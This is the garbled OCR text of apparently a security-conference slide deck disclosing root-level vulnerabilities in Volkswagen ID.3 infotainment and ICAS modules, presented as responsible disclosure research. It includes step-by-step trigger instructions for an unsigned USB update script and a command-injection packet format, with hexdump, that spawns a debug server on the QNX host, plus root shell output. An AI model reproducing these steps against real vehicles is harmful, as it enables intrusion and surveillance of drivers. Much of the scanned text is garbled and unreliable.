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ID.3 Pro:

9
Qi 330-550 km Predicted Range
i?ﬁ 1.7 - 1.9 Tons in Weight

TFO'_%O 148-201 Horsepower

74 160 km/h Top Speed

lt's a new and popular electric car.

Connectivity:

Wi-Fi, Bluetooth, GSM /LTE

Car2X

App-Connect, Apple CarPlay and Android Auto
Voice control

We Connect ID. app
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27 August 2021 Q February 2022
February 2021 Second vulnerability Third vulnerability report
Started pen-testing report sent to VW sent to VW

© 00000

22 July 2021 Technical alignhment meetings Registered CVE
First vulnerability with VW Group:
report sent to YW 26 August 2021
8 September 2021
1 October 2021
7/ December 2021
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*  Woe have discovered vulnerabilities and security concerns in ID3 car architecture, which are also applicable to models
like ID.4, ID.5 (depending on system software) and affect more than 120 000 electric cars on the roads.

* By exploiting these vulnerabilities, hackers can gain root access to Infotainment and ICAS1T modules which could
potentially lead to full control of the data in these modules, geo-location, microphone, video data.
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e CVE-2022-23777 (ICAS1)

The vulnerability was discovered in the service responsible for collecting core dumps
in Corbos Linux guest OS in the ICAS1 module.

The root privilege is exploitable and allows for arbitrary code executioninside the guest Corbos OS.

e (CVE-2022-23778 (Infotainment, Host OS)

The vulnerability was discovered in the network service MgrLog/MgrTsk inthe host operating system in the In-
Vehicle Infotainment module.

The vulnerability is exploitable with root privilege and allows arbitrary code execution inside the host operating
system of the Infotainment module in the car.

e (CVE-2022-41557 (Infotainment, Guest OS)

The vulnerability was discovered in the script which is responsible for updating the software in the guest
operating system of the In-Vehicle Infotainment module.

The vulnerability is exploitable with root privilege and allows arbitrary code execution inside the guest
operating system of the Infotainment module in the car.
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R242 - Front camera J772 - Reversing

for driver assist camera system 4525 - Digital sound 41254 - Speed J685 — Main display
systems control unit package control unit display
Eth BASE-T1 Eth BASE-T1 Eth BASE-T1 FPD-Link I FPD-Link IIl 1L
v "
T IOAD  Crmarmanm
J949 - Emergency | oy pasere / \ / \
e call module and Host OS - L4RE Fiasco.OC microkernel Host 0S - QNXT 2xUSB
online connectivity
unit (OCU) ™ e , WIFI
4 Eth BASE-T1
JGE6 - Internet Eth BASE-T1 EB Gorbos Linux || EB Gorbos Linux || EB Gorbos Linux ) Automotive Grade Linux Bluetooth
ANT access control unit vm_java vm_adaptive vm_housekeeping
(Car2X)
Y, & ‘ UART
———————
) Eth BASE-T1 RTOS- RTOS
J428 - Adaptive 1533 e e . 794 e o
cruise control unit \ | chip PPC-SPCS8 / \ SCE876045KU2 / Eih BASE X

OBD2 CAN bus

CAN bus, displays and controls

| L | ¥ Y
Infotainment CAN bus

< Running gesr sensors CAN bus )

"..\ Convenience CAN bus >

i Powertrain CAN bus

'l '
l ,
J965 - Interface for .
J623 - Engine/motor J104 - ABS control
ANT entry and start ; - Etc ...
system control unit unit

* - this high-level diagram is a simplified version, the reality is much more complex.
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e Software:2.1 (0792 ) and 2.3 (0910)

* Hardware: H20

* Display unit/control panel hardware: H55
* Display unit/control panel Software: 2092

*  Navigation database: 21.5
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Eo

MEB ICAS3
Model :MEB ICAS3  WG8-LGM23.00.2000013968
Config. :Neavws BT MAC address : 18:48.CA:10.7EAC
" -NE WIFI MAC address : 18.48CA'100260

009MABT 132326
000

DC12V == 13A LG Electronics.

CE Tt o 00500 o, Poios

@mwm éA

IC : 2703H-MEBICAS3
FCC ID: BEJ-MEBICAS3

)mmmmmymm‘
including intsrference that may cause undesired operation.

External view of the VI (ICAS3) module
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MTFC64GAPALBH-AIT
eMMC Flash memory chip

[T o
\ .
i

i

o000

0000000

APQ8096AU 64-bit ARMvS

quad-core processor

FPD-Link IlI
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* Pico scope

*  Multimeter

* J-link debugger

* Saleae logic analyzer

* AllSocket eMMC reader

* Phyton ChipProg-48 reader
* Jtagulator

* OBD2 dongle

* SD-card reader

(GL823K chip-based)
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*  Scripts for compilation AGL toolchain
*  We had to re-compile standard tools to support car’s OS and firmware:
- Nmap
- Gdbserver
- Netcat
- Tcpdump
- SSHserver
- SSHclient
* Patched version SSH server for AGL

* Precompiled tools for post exploitation for Corbos Linux, Automotive Grade Linux and QNX
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Allsocket e MMC
reader
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IVI UART debug interface

TRACE-TX-D11, TRACE-RX-D12
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4 . Y
J794 - Infotainment (IVI)
. ) RTOS
Chip - Qualcomm APQ8096AU ,
TrustZone Chip PPC -
Host OS - QNX7 SC667604CKU2
é ) :
QVM Guest OS - Automotive Grade Linux Peripherals
OS-KERNEL * 1x Bluetooth
e 1x WIFI
¢ Linux 8x96autogvmquin || IIGTGEGIN e 2x USB
e 1x UART
OS-RELEASE
e ID-poky - agl
e NAME - Automotive Grade Linux
- VERSION - I
\_ J
\_ J
\. S

* - this high-level diagram is simplified, the reality is much more complex.
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MTFC64GAPALBH-AIT

G
D

EMMC dump size ~ 60 GB
70 partitions

14 — EXT4

6 — VFAT

10 - QNX6
15— ELF

2 - QNX IFS
23 — Raw data

Device

/dev/loop8pl3
/dev/loop8p47
/dev/loop8p48
/dev/loop8p49
/dev/loop8p51
/dev/loop8p52
/dev/loop8p53
/dev/loop8p54
/dev/loop8p55
/dev/loop8p56
/dev/loop8p58
/dev/loop8p59
/dev/loop8p60
/dev/loop8p6l
/dev/loop8p62
/dev/loop8p23

Device

/dev/loop8pll
/dev/loop8p34
/dev/loop8p36
/dev/loop8p38
/dev/loop8p39
/dev/loop8p40
/dev/loop8p4l
/dev/loop8p44d
/dev/loop8p45
/dev/loop8p48
/dev/loop8p23

Start
191232
9568256
15859712
15861760
19009536
20058112
20713472
73142272
75763712
85200896
105123840
110891008
117182464
120066048
122163200
272640

Start
158208
798720

1847296
6041600
6107136
6721536
6946816
9175040
9306112
15859712
272640

End
193279
15859711
15861759
19007487
20058111
20713471
73142271
75763711
85200895
98832383
110891007
117182463
120066047
122163199
122228735
467199

Sectors
2048
6291456
2048
3145728
1048576
655360
52428800
2621440
9437184
13631488
5767168
6291456
2883584
2097152
65536
194560

/firmware (/dev/loop8p63, /dev/1oop8p65,/dev/1oop8p66)

End Sectors

190975
1323007
3944447
6107135
6721535
6926335
9043967
9306111
9437183

15861759

467199

32768
524288
2097152
65536
614400
204800
2097152
131072
131072
2048
194560

Size Type
1M unknown -
3G unknown -
1M unknown -
1.5G unknown -
512M unknown -
320M unknown -
25G unknown -
1.3Gunknown -
4.5 unknown -
6.5G unknown -
2.8G unknown -
3G unknown -
1.4G unknown -
1G unknown -
32M unknown -
95M unknown -

Size Type
16M unknown -
256M unknown -
1G unknown -
32M unknown -
300M unknown -
100M unknown -
lgunknown -
64M unknown -
64M unknown -
1M unknown -
95M unknown -

/firmware (/dev/loop8p63, /dev/1oop8p65,/dev/1oop8p66)
k/dev/loop8p68 123301888 123367423 65536 32M unknown -

VFAT

EXT4 - / (/dev/loop8p57)
VFAT - /tmp/misc

ETX4 - /lge/app rw

EXT4 - /lge/bt

EXT4 - /lge/log/backup

EXT4 - /persist/lib/nav, /var/lib/nav

EXT4 - /radio/osdb

EXT4 - /lge/speech/db
EXT4 - empty

EXT4 - /vw

EXT4 - /lge/user storage
EXT4 - /lge/webengine
EXT4 - /home, /data

EXT4 - /persist, /var/lib
VFAT -

EXT4 - QNX /etc/images/dsp/

ONX IFS - / (/dev/loop8p35)

QNX6 - / (/dev/loop8p37)

QONX6 - /persist

ONX6 - /var

QONX6 - /coredump

ONX6 - /UCM

QONX6 - /resources

QONX6 - /vm/images (/dev/loop8p46)
VFAT - /tmp/misc (QNX - /vm/sig.d)
VFAT -

ONX6 - /persist backup

J
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Most modules communicate via IPvé QNX interfaces

Q interfacesin AGL (pfloqo - pf firewall interface \

ntn_vp0 - unknown
. . inet6 fe80::a2b0:cO0ff: fed0:e5ff%ntn vpl prefixlen 64
4 interfaces in QNX
eth0 - QNX-AGL network
inet 192.168.0.2 netmasklOxffff£f00
AGL h . . bl I inet6 £e80::72b3:d5ff: fe%92:7a81%eth0 prefixlen 64
as strict iptables rules
vlan0 - GW-QNX-AGL network
inet6 £e80::72b3:d5ff: fe92:7a81%v1lan0 prefixlen 64

NX USGS f . inet6 £d53:7cb8:383:3::73 prefixlen 64
Q P AGL interfaces \o /

eth0 - QNX network

inet addr:192.168.0.7 Mask:255.255.255.0
ﬂ - localhost \
ethl - Usb2Ethernet network inet addr:127.0.0.1 Mask:255.0.0.0
inet addr:192.168.1.4 Mask:255.255.255.0 inet6 addr: ::1/128
inet6 addr: dafe::2e0:4cff:fe35:386/64
inet6 addr: fe80::2e0:4cff:fe36:3f3/64 wlanO - WIFI client network

inet6 addr: fe80::1a48:caff:fel0:293/64
eth0.3 - GW network

inet6 addr: fe80::7d:faff:fe01:800/64 wlap - WIFI hotspot network
inet6 addr: £d53:7cb8:383;3::108/64 inet addr:10.173.189.1 sk:255.255.255.0
I inet6 addr: fe80::b8e9:d6ff: febc:7b64/64
12tpeth0 - APN1 network OCU - Prepaid internet (Cubic Telecom) inet6 addr: £d30:e08e:c031:103:b8e9:a6ff:febc: 7Tb64/64
inet addr:10.173.201.2 Mask:255.255.255.240 inet6 addr: £d30:e08e:c031:103::1/64
inet6 addr: fe80::3c06:24ff: feed:fa07/64
inet6 addr: £d30:e08e:c031:1::2/64 wlap2 - Unknown
inet6 addr: fe80::1848:caff: feb0:293/64
12tpethl - APN2 network OCU - Communication via OCU socks
inet addr:10.173.202.2 Mask:255.255.255.240 wlap5 - Unknown
inet6 addr: £fd30:e08e:c031:2::2/64 \ inet6 addr: fe80::1848:caff:fed0:293/64 )
inet6 addr: fe80::accO0:fff:fe62:65f7/64
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—-A PORT_IN FILTER -s £d53:7cb8:383:3::108 -d £f14::1:1c -p udp --sport 42993 --dport 42514 -j ACCEPT
R o -A PORT_ IN FILTER -s £d53:7cb8:383:3::108 -d ££f14::1:2d -p udp --sport 42993 --dport 42514 -3 ACCEPT
The flrer” hqs Very bGS|C rUIeS -A PORT_IN FILTER -s £d53:7cb8:383:3::108 -d ££14::1:33 -p udp --sport 42993 —--dport 42514 -j ACCEPT
-A PORT_IN FILTER -s £d53:7cb8:383:3::108 -d £f14::2 -p udp --dport 42557 -j ACCEPT
-A PORT_ IN FILTER -s £d53:7cb8:383:3::108 -d ££f14::2:1 -p udp --dport 42800 -j ACCEPT
. —A PORT IN FILTER -s £d53:7cb8:383:3::108 -d £f14::2:1 -p udp --dport 42801 -7 ACCEPT
¢ AGL |p’rqb|es rules -A PORT_IN FILTER -s £d53:7cb8:383:3::108 -d ££14::2:2 -p udp --dport 42800 -j ACCEPT
-A PORT IN FILTER -s £d53:7cb8:383:3::108 -d ££f14::2:2 -p udp --dport 42801 -j ACCEPT
-A PORT_IN FILTER -s £d53:7cb8:383:3::108 -d ££f14::4:0 -p udp --dport 30490 -j ACCEPT
M -A PORT IN FILTER -s £d53:7cb8:383:3::108 -d ££f14::4:0 -p udp --dport 30491 -3 ACCEPT
= flrewal_rules.va4 = ] 52 rules -A PORT_IN FILTER -s £d53:7cb8:383:3::108 -d £f14: :j—p udp --sport 42994 ——dport 42557 —j ACCEPT
-A PORT_IN FILTER -s £d53:7cb8:383:3::108 -d £f14::9:0 -p udp --dport 42515 -j ACCEPT
. -A PORT_IN FILTER -s £d53:7cb8:383:3::14 -d ££02::1 -p udp --dport 13400 -j ACCEPT
- - —-A PORT IN FILTER -s £d53:7cb8:383:3::14 -d ££14::4:0 -p udp —-dport 30491 -j ACCEPT
fll’GWG”_I’UIGS.IPVé 44] rules -A PORT IN FILTER -s £d53:7cb8:383:3::14 -d ££f14::5:0 -p udp --dport 42515 -3 ACCEPT
-A PORT_IN FILTER -s £d53:7cb8:383:3::6f -d ££f02::1 -p udp —-dport 13400 —j ACCEPT
-A PORT_IN FILTER -s £d53:7cb8:383:3::6f -d ££f14::1:2d -p udp --sport 42993 --dport 42514 -j ACCEPT
° QNX pf rules -A PORT_IN FILTER -s fd53:7cb8:383:3::6f -d ff14::2:5 -p udp --dport 42800 -3 ACCEPT
-A PORT_ IN FILTER -s £d53:7cb8:383:3::6f -d ££f14::2:5 -p udp --dport 42801 -j ACCEPT
—A PORT IN FILTER -s £d53:7cb8:383:3::6f -d ££14::2:10 -p udp --dport 42800 -7 ACCEPT
f f .I 3 .I I -A PORT IN FILTER -s £d53:7cb8:383:3::6f -d ££14::2:10 -p udp --dport 42801 -j ACCEPT
- pr.cont - ruies -A PORT IN FILTER -s £d53:7cb8:383:3::73 -d £d53:7cb8:383:3::108 -p tcp --dport 29801 - ACCEPT
oA PORT IN FILTER -s £d53:7cb8:383:3::73 -d £d53:7cb8:383:3::108 -p tcp --dport 42810 -3 ACCEPT

- pf_block_rules.conf - 26 rules [

flabelm

in SMASK LOG quick on $VO0 inet6 proto 6 from £d53:7cb8:383:3::8:10 to £d53:7cb8:383:3::73 port 13400 tclass 0
f o o I f -I 3 I pass in SMASK LOG quick on $V0 inet6 proto 6 from £d53:7cb8:383:3::8:10 to £d53:7cb8:383:3::73 port 29801 tclass 0 flabel 0
= p _IVI_I'U eS.C0n = rU es pass in $MASK LOG quick on $VO inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29801 to £d53:7cb8:383:3::73 tclass 0 flabel 0
pass in $MASK LOG quick on $VO inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29710 to £d53:7cb8:383:3::73 tclass 0 flabel 0
pass in SMASK LOG quick on $V0 inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29712 to £d53:7cb8:383:3::73 tclass 0 flabel 0
M M pass in $MASK LOG quick on $V0 inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29727 to £d53:7cb8:383:3::73 tclass 0 flabel 0
- pf_VIWIPrOXY‘Conf = 229 rUIeS pass in SMASK:LOG quick on $VO inet6 proto 6 from fd53:7cb8:313:3::8:10 port 29713 to £d53:7cb8:383:3::73 tclass 0 flabel 0
pass in SMASK LOG quick on $V0 inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29714 to £d53:7cb8:383:3::73 tclass 0 flabel 0
pass in $MASK LOG quick on $VO inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29715 to £d53:7cb8:383:3::73 tclass 0 flabel 0
pass in $MASK LOG quick on $VO0O inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29716 to £d53:7cb8:383:3::73 tclass 0 flabel 0
pass in $MASK:LOG quick on $V0 inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29717 to £d53:7cb8:383:3::73 tclass 0 flabel 0
pass in $MASK LOG quick on $VO inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29722 to £d53:7cb8:383:3::73 tclass 0 flabel 0
pass in SMASK LOG quick on $V0 inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29756 to £d53:7cb8:383:3::73 tclass 0 flabel 0
kpass in SMASK LOG quick on $VO inet6 proto 6 from £d53:7cb8:383:3::8:10 port 29732 to £d53:7cb8:383:3::73 tclass 0 flabely
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*  WIFl hotspot

10.173.189.1
fd30:e08e:c031:103:: 1

. WIFI as client

192.168.178.100
2001:980:d718:1:0:0:0:17

. USB2Ethernet

192.168.1.4
fe80::2e0:4cff:fe36:3f3

WIFI hotspot IPv6 fd30:e083:c031:103::1

PORT

7000/tcp
29733/tcp
29735/tcp
49210/tcp
49251 /tcp
49252 /tcp
49253/tcp
49254 /tcp
49270/tcp

(9505/tcp

STATE
open
open
open
open
open
open
open
open
open
open

SERVICE
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

(Host is up (0.0038s latency). \

Not shown: 55 filtered ports

- carplay

- rsi-cdn

- tsd.nav.mainapp.mib3
—-jradio-hmi

- esp

- rsi-cdn

- audiomgnt

- waveplayer

- esp

- tsd.nav.mainapp.mib3 )




O

black hat

ELUR O S————

7

(1V1)

\

[ WIFI client ] [wlap (hotspot)}

l

\.

> [ |2tpethO } tti:;

V.

[ wlanO (WIFI) J
Bidirectional connection:

*  WI-Fl hotspot 4

.[ oct J

*  WI-Fl client 1
WIFI router J

p[ WEB site ] <
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g (IV1) )
internetradio, Unix . socks5+auth ] socks+psk+tls
radio-hmi socket media-mgr ol socks-cdp J =0 Stcp TT060P OCU
wlanO (WIFI) |« { |2tpeth < L2TP tunnel
\. y,
A Radio stream Cellular
’ W|F| router ’ server <communlca‘[lons
) ic7.101.ru:8000
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http://127.0.0.1:54323
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. e . . f L
102 Rest APl services < > C B [:1)/7slimit=1000 < = D [ka9z10/radio
JSOM  RawData  Headers JSON  RawData  Headers
Save Copy CollapseAll Expand All 7 Filter JSOt Save Copy CollapseAll Expand All 7 F
= serviceCategories: ¥ data:
8: "cdn” - 0:
uri: "http://[::1]:49526/cdn/" id: "6de68175-bd20-5d89-b437 -90ea2c344bee”
w yersions: name : "agudiosegments
CE "1.5.6 uri: "/radiofaudiosegments/
<« C 8 [Fd53:7cb8:383:4:67]:29776/onlit v L v 1:
w description: The c?wtent qell'wery_ network is '_11p'Len'.ente-:I.a:, a service id: "T¥3cbbad-124d-5b6c-ad 14 -6c2ecITI5IdF"
JSOM  Raw Data Headers transmitted with regular HTTP headers according to its MIM
‘eumids' ac element identifier . ements do not. be name : "bands
Save Copy CollapseAll ExpandAll T Filter S5O zuuid=" as element identifier, "cdn elements do not, bec ! !
- - ok farbitrary:20string%20withouti:20extension’. It is strongly uri: "Jradio/bands/
status: ° consumpttion un-sacrificed. -
v data: =
id: "16b94660-1dd2-11b2-8791-027dfablo800"
v O: ; ; id: "4758d91d3-d9%e1-5116-9Ff7b-2662a482a731"
networkRegistrationState: "registeredAndRoaming" name: cdn name : "categories”
networkConnectionState: "connected” port: 49535 ) . . .
) uri: /radic/categories/
networkTechnologyGeneration: "gend" w servicefategories:
networkTechnology: "LTE 0: "edn® - 3:
modemOperationState: “normalOperation” uri: “http://[::1]:49535/cdn/" id: "962fbee5-785d-5d3a-b486-04bd83be2l2e"
signalQuality: 2] w versions: name : "collections”
¥ networkProvider: B: "1.5.5 uri: "fradic/collections/"
id: "a7910856-8a65-5e6T -b2e8-650aead26ea
. v B2 w 4
name : "networkProvider"
w uri: " sonlinestate/networkProviders/a7916 w description: "The content delivery network is implemented as a service id: "al39h325-792a-5e88-afB8-1695181cadaR"
. . transmitted with regular HTTP headers according to its MIM . - . P
w dnsConfiguration: . . . ) . . name : listiterators
o =<uuid=" as element identifier, "cdn’ elements do not, bec ) o
o B B Jarbitrary:28string%2bwithout®20extension’. It is strongly uri: fradio/listiterators/
id: 76482b87-bbad-5817 -a7%e-cec5b3140831 consumpttion un-sacrificed. - 5.
name : "APN1" . . o
id: "16bacd48-1dd2-11b2-8563-027dfa010800" id: "95158313-6dbe-5ad2 -bbhif-TefFB2cR1bad”
w uri: "fonlinestate/dnsConfigurations/7648 R :
v1: name: cdn name : "phonemes
id: "8ch496a4-505¢C-55c2-8fca- T8a7868cate port: 29733 uri: "/radio/phonemes/
name: "APNZ" w serviceCategories: ..
w uri: "fonlinestate/dnsConfigurations/8cbd o: "cdn” . -
id: "e391fa03-0dcE-5067-9165-Ff9429a75168"
id: "3cebcI60-ccfl-5dbl-8a30-BcBOBbTeIBa uri: “http://[::1]1:29733/cdn/™
name : "modemDevice - yersions: name players
w uri: "Jonlinestate/modemDevices/3ce6c960- o "1 5.6 uri: "fradiofplayers/"
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7 3 unique Back-End hosts and 112 unique URLs

"status
"data":

{

a [
"downloadpackages.ngx.oru.eu.dpl5. '.rx._

eOfAccessTo
mResourcelocator”
entKeyldType"”: “"clientKeyldMos",
verCertificateRevocationCheck": true,
ykpHash": |

'
"tl:orudownload”,

a2 //do cadp

rTimeTrustLevel”: "unauthentic”,

ruststoreld™: "VKMS",

cleIntegrationTlsMode": "vehiclelIntegrationTlsModeServersideOnly"”,
Tca7l2c-5e21-534a-baff-ef7£c35742e2",
"TTORU4-SWMC-download.CODownloadPacket”,

Jervicemanac

-

sAndPorts": |

ientKeyIdType":
"tlsServerCertificateRevocationCheck": false,
“"tlsServerKpkpHash": [],
"tlsServerTimeTrustLevel”: "unauthentic”,

"tlsServerTruststoreld™: "",

ent/httpOperationTypes/07ca7l2c-5e21-534a-baff-ef7fc35742e2"

: "tl:tp_server"”,
"clientKey n

VH-WeSCOreservice. apps,
weroute-prod. apps . eme
inbox.prd.eu. ids . wwg-
enr-preprod.apps.emes
userguide—gs.volk

api.csa.eu
sandbox . vw
ota.oru-swms.prd.eu.bp.aws.clo
Ota.oru-Swms . int. eu bp_aws.clo

_

customer=-prot
enr-prod.
shop.volk
oCsp . vall
wecharge. apps . em
consent-sandbox . W
live-mib3oi-ESOSERVERLISTENDROI
userguide.vol
dewnload
identity

identl
upd.ocsp.
api.ati.
CCER . VWY

datainputyamebox—San
apl.vas.eu.dpls

identlTy-useri
proxy.wabapp.
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* The guest OS (Automotive Grade Linux) can update software through a USB drive
*  The scripts which are responsible for updating software in the Infotainment module are provided below:
*  /lib/systemd/system/swdlusb.service - autostart with systemd

e  /usr/bin/swdlusb.sh - the script is responsible for steps of update

*  The vulnerability inthe process:
- Update process for this script doesn't check any digital signature
-  Update process runs with root privilege

- It allows to bypass digital signature and run malicious script with root privileges
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Update workflow

/lib/systemd/system/swdlusb.service

/usr/bin/swdlusb.sh

check type fs of USB "vfat"

mount USB to /tmp/swdlusb

check /tmp/swdlusb/swdl-entry.conf

chmod a+x /tmp/swdlusb/swdl-pre-extra-exec.sh

11

P /tmp/swdlusb/swdl-pre-extra-exec.sh
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* Important to highlight, that the type of file system in USB stick should be "vfat"
* After connecting the USB drive, the content of the USB drive becomes available in the

/tmp /swdlusb / directory

///:;[ "$usb_fs_type" == "vfat" ] “\\\\

usb_fs_type="udevadm info /dev/swdlusb | grep ID_FS_TYPE | cut -d'=" -f2
if [ "$usb_fs_type" == "vfat" ]
then

1n -s $usb_mount_path /tmp/swdlusb ; sleep 1
echo "[LGVM-SWDN] USB linked from $usb_mount_path to /tmp/swdlusb "
sync
else
echo "[LGVM-SWDN] Not support FS type ($usb_fs_type)"
exit

\C /
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If the file /tmp/swdlusb/swdl-entry.conf exists on the USB drive, it runs this branch with the
function extra_script_1st_stage

a8 N

if [ -e /tmp/swdlusb/swdl-entry.conf ]
then
echo "[LGVM-SWDN] SWDL Start (swdl-entry.conf Found)"

extra_script_1st_stage

- y
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* The function extra_script_1st_stage checks another script /tmp/swdlusb/swdl-pre-extra-exec.sh on the USB drive

* |f the file exists, then the script runs it without any check of digital signature.

/extra_scr*ipt_lst_stage() { \

if [ -e /tmp/swdlusb/swdl-pre-extra-exec.sh ]

then
echo "[LGVM-SWDN] Execute pre extra script”
chmod a+x /tmp/swdlusb/swdl-pre-extra-exec.sh
/tmp/swdlusb/swdl-pre-extra-exec.sh $CUR_DEV_VER

fi

\. /
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Summary of the vulnerable service

To trigger this vulnerability an attacker needs to complete the next steps:

* FormatUSB in FAT32

* Create an empty file on USB drive /tmp /swdlusb /swdl-entry.conf

* Create a file with a malicious payload on the USB drive /tmp/swdlusb /swdl-pre-extra-exec.sh

* Insert the USB drive into the USB port of the car
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SSH on AGL

root@8x96autogvmquin: /#
uid=8(root) gid=0(root)
root@8x96autogvmquin: /#
Linux 8x96autogvmquin 4.
root@Bsx96autogvmquin: /#
drwxr-xr-x 31 root
drwxr-xr-x 31 root
drwxr-xr-x 2 root
drwxr-xr-x 2 root
drwxr-xr-x 2 root
drwxr-xr-x 2 root
drwxr-xr-x 2 root
drwxrwxr-x 17 root
drwXrwxrwx 43 root
drwXrwxrwx root
drwxr-xr-x 2 root
LrwxXrwxrwx 1 root
drwxr-xr-x 56 root
drwxr-xr-x 4 root
drwxrwxr-x 17 root
drwxr-xr-x root
drwxr-xr-x root
drwxr-xr-x root
Lrwxrwxrwx root
root

root
root
root
root
agl-pass
root
root

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
dr-xr-xr-x
drwxr-xr-x
drwxrwxrwx
drwxr-xr-x

id

groups=0(root)

uname -a

4.162 #1 SMP PREEMPT Sat

1s -lha /
root
root
root
root
root
root

.0K Feb 13
.OK Feb 13
.0K Feb 13
.OK Feb 13
.0K Feb 13
.OK Feb 13
root .0K Feb 13
users L0K Jan 1
root e Jan 1
root 2K Jan 1
root .0K Feb 13
root 15 Feb 13
root .0K Feb 13
root .0K Jan 1
users LBK Jan 1
root .O0K Feb 13
root .0K Feb 13
root .0K Feb 13
root 26 Feb 13
root .0K Feb 13
root .OK Feb 13
root .0K Feb

root .OK Nowv

root 8 Jan

1001 .0K Feb

root 680 Jan

root 4.0K Feb

[F SR R N N R O S Y

P ]

[y
o B

EEN R S Y

==
(=]

[ Y

Feb 13 23:13:30 KST 2021 aarch64 GNU/Linux

2021
2021
2021
2021
2021
2021
2021
00:00
00:00
00:00
2021
2021
2021
00:00
00:00
2021
2021
2021
2021
2021
2021
2021
2021
00:00
2021
00:00
2021

bin
bluetooth
boot
cache

d

data
debug

dev

dsp

early -= frun/root-early
etc
firmware
home

lge

1ib

1ibs4

1linuxrc -> fusrflib64/busybox/1linuxrc

lost+found
media

mnt
persist
proc

radio

run

sbin
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*  The vulnerability was discovered in the network service 0.0.0.0:54323 MgrLog/MgrTsk in the host operating system
in the In-Vehicle Infotainment module.

The vulnerability allows arbitrary code execution with root privilege inside the host operating system of the
Infotainment module in the car.

* The discovered vulnerability allowshackers to:
- Escape the guest OS of the In-Vehicle Infotainment module
- Receive root privilege in the host OS of the In-Vehicle Infotainment module

- Install malicious backdoorsin the host OS of the In-Vehicle Infotainment module
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MgrLog message format

ﬂ:tr‘uct MgrLogCmd enum EMgrLogGroup enum EMgrlLogCmd \
¢ { { tcpSnifferst X0
. . . . . - cpSnifferStop = ©xe,
BYTE magic[4]; //'SFTR sw1tcthTP?c1ngChanged ex1, tepsnifferstart = Bx1,
DWORD size; //big endian deletelogFiles = ox2, tcpsnifferWriteConfigFile = @x2,
BYTE group; //EMgrLogGroup startCoredumpExport = @x3, }:

BYTE arg: getDomainIndex = ©x4,
’ persistTraceScopesChanged = ©x5,

BYTE cmd; //EMgrLogCmd ]
tcpSniffer = Ox6,

BYTE payload[size];

¥s s /
LSS

@ooereee: 53 46 54 52-00 6@ BB 32-86 B0 B2 7/9-65 61 7A 79 SFTR 24 Byeazy
geoeeele: 20 3B 71 6F-6E 20 2D 7©-2@ 31 3@ 20-70 64 65 62 ;qon -p 1@ pdeb
ooevee2e: 75 67 20 38-38 38 38 20-3B 20 65 63-68 6F 20 22 ug 8888 ; echo "
oeoeee3e: 65 78 70 6C-6F 69 74 20-64 6F 6E 65-22 ©0 exploit done"
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7

Exploit

Guest AGL
192.168.0.7

/midc!lleware/Mg rLog
Listen 0.0.0.0:54323
|

I
|
|
Tep connect 192.168.0.7:54323 :
\
|
I
|

group=tcpSniffer, arg=0, cmd=tcpSnifferStop

|
group=tcpSniffer, arg=0, cmd=tcpSnifferWriteCon-

|
figFilepayload="yeazy; qon -p 10 pdebug 8888;"

[ SendMessage(0x1C,0x67) -> mq_send

Host QNX
192.168.0.2

/middleware/MgrTsk

Save /persist/data/mgrlog/config/tcpsniff.conf

|
|
|
|
I
|
|
|
|
I
|
|
group=tcpSniffer, arg=0, cmd=tcpSnifferStart
[
|
I
|
|

>

v

slay tcpdump

rm -f /tmp/sniff.pcap

Read file

payload "yeazy; qon -p 10 pdebug 8888;"

SendMessage(0x1C,0x65) -> mq_send

>

v

P /usr/sbin/tcpdump -i vlan0 -n -U -w /tmp/sniff.pcap -s 0 %s )
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 All messagesin format described above and have group=tcpSniffer and arg=0

* The workflow of exploitation is:
- Send packet with command tcpSnifferStop. This will stop previous tcpdump process

- Send packet with command tcpSnifferWriteConfigFile + payload string. This will overwrite the configuration
file.

- Send packet with command tcpSnifferStart. This will run new tcpdump process with arguments from the
configuration file.
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GDB from Blackberry SDK

3 $ fopt/bbndk-2.1.@/host/1inux fusr/bin/ntearm-gdb
Could not find platform independent libraries <prefix=
Could not find platform dependent libraries _prefi
Consider setting $SPYTHONHOME to <prefix=[ 3
"import site' failed; use -v for traceback
Traceback (most recent call last):
File "<string=", line 1, in <module=
ImportError: Ne module named os
GNU gdb (GDB) 7.3 gnx (rev. 613)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later ttp://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying”
and "show warranty" for details.
This GDB was configured as "--host=1686-pc-linux-gnu --target=arm-unknown-nto-gnx6.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/=.
(gdb) target gnx 127.0.0.1:8000
Remote debugging using 127.0.0.1:8000
Remote target is little-endian
(gdb) run uname -a
Starting program: uname -a
[Mew pid 1007715 tid 1]
QNX localhost 7.0.X 2020/06/10-11:45:01EDT APQ8096SGAU_Mojave-v2(full)_eMMC_SWDL_NORMAL aarch64le
[Inferior 1 (pid 1867715) exited normally]
(gdb) run 1s -1fa /
Starting program: 1s -1fa /
[Mew pid 1011811 tid 1]

root root 4096 Jan 1970 .
19 root root 4096 Jan 01 1970 ..
root root 4096 Jan 01 1976 .boot
root root 7 Jan 81 1970 1ib -= ./libs64
root oot 4096 Jan 01 1970 usr
root root 4096 Jan @1 1970 sbin
root root 4096 Jan 81 1970 etc

SSH server on QNX

-HOST]#

g--o- ln

total 1182891
drwxrwxr-x

drwxrw-rw-
drwxr-xr-x
drwxrwxr-x
drwxr-xr
drwxrwxr->

drwxrwxr->
drwxr-xr->
drwxrwxr->
LrwxXrwxrwx
drwxr-xr-x
drwxrwxr
drwxrwxr-x
drwxrwxr
drwxrwxr-x
dr-xr-xr-x
drwxrwxr-x

[y

-
drwxr-xr-x
drwxr-xr-x
LrwxXrwxrwx
drwxr-xr-x
drwxrwxr-x
drwxrwxr-x
[ICAS3-HOST]#

[y

8
4
3
=
3
1
=
i
8
=
4
2
=
2
2
2
1
7
3
=

uname -a

7.0.X 2020/06/10-11:45:01EDT APQB8O9I6S
1s -lha /

Owner
